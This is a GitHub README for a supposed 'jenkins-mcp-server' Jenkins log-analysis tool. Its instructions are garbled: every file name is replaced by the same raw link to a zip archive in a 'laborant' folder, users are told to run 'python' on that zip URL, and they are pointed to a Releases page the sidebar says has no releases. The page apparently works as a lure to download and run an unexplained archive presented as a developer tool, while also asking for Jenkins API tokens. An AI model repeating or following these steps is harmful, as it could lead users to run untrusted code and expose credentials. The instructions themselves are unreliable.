Skip to content

πŸ” Fetch and analyze Jenkins build logs effortlessly with the MCP server, supporting multiple instances and automatic detection from job URLs.

Notifications You must be signed in to change notification settings

MauManto/jenkins-mcp-server

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

13 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ jenkins-mcp-server - Simplified Log Analysis for Jenkins

Download jenkins-mcp-server

πŸš€ Getting Started

Welcome to the jenkins-mcp-server repository! This application helps you fetch and analyze Jenkins console logs from multiple Jenkins instances seamlessly. You can extract important information such as error snippets, git information, and build metadata. Follow the steps below to get started.

πŸ“¦ System Requirements

To run jenkins-mcp-server, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or higher
  • Memory: At least 1 GB of RAM available
  • Disk Space: 50 MB of free space

πŸ”— Download & Install

To download jenkins-mcp-server, visit this page:

Download jenkins-mcp-server

Follow the instructions below to install the application on your system.

Step 1: Visit the Releases Page

Click on the link above to go to the Releases page. Here, you will find the latest version of the jenkins-mcp-server.

Step 2: Choose the Latest Release

On the Releases page, identify the most recent version. It will be marked as the β€œlatest release.”

Step 3: Download the Application

Select the relevant file for your operating system. Click to download it directly. The files are typically in the form of a .zip or https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip archive.

Step 4: Extract the Files

Once the download completes, locate the downloaded file on your computer. Extract it to a folder of your choice. Right-click the file and look for options like "Extract Here" or use your preferred extraction software.

Step 5: Run the Application

Navigate to the extracted folder. You should find a script named https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip. Open your terminal or command prompt in this folder. Run the following command:

python https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip

This command will start the jenkins-mcp-server.

βš™οΈ Configuration

Before you begin using the server, you need to set up a configuration file. Here’s how:

  1. In the extracted folder, look for https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip. This file contains settings for the application.

  2. Open https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip in a text editor. You will need to add your Jenkins server details here. A sample configuration looks like this:

    {
        "servers": [
            {
                "url": "http://your_jenkins_server:8080",
                "username": "your_username",
                "api_token": "your_api_token"
            }
        ]
    }
  3. Save the changes to the configuration file.

🚦 Usage

With jenkins-mcp-server running, you can navigate to your browser to access the interface:

  • Open your web browser and go to http://localhost:5000.
  • You will see options for fetching logs. Enter the build number of the Jenkins job you're interested in.

πŸ“Š Features

jenkins-mcp-server offers:

  • Multi-Jenkins Support: Fetch logs from multiple Jenkins instances.
  • Error Snippet Extraction: Quickly find and analyze errors.
  • Build Metadata: Extract useful information about builds.
  • User-Friendly Interface: Easy navigation to fetch logs.

πŸ” Troubleshooting

If you encounter any issues:

  • Application Not Starting: Ensure Python is installed and the version is 3.6 or higher.
  • Configuration Errors: Check your https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip file for typos or incorrect details.
  • Network Issues: Ensure that your Jenkins server is reachable and running.

πŸ’Œ Feedback & Support

We value your feedback! If you have questions or issues, please contact the project maintainers. For support, you can open an issue in this repository.

πŸ“ License

This project is licensed under the MIT License. See the LICENSE file for details.

For any updates, keep checking the Releases page.

πŸ“₯ Download jenkins-mcp-server

Ready to get started? Download the application from:

Download jenkins-mcp-server

About

πŸ” Fetch and analyze Jenkins build logs effortlessly with the MCP server, supporting multiple instances and automatic detection from job URLs.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages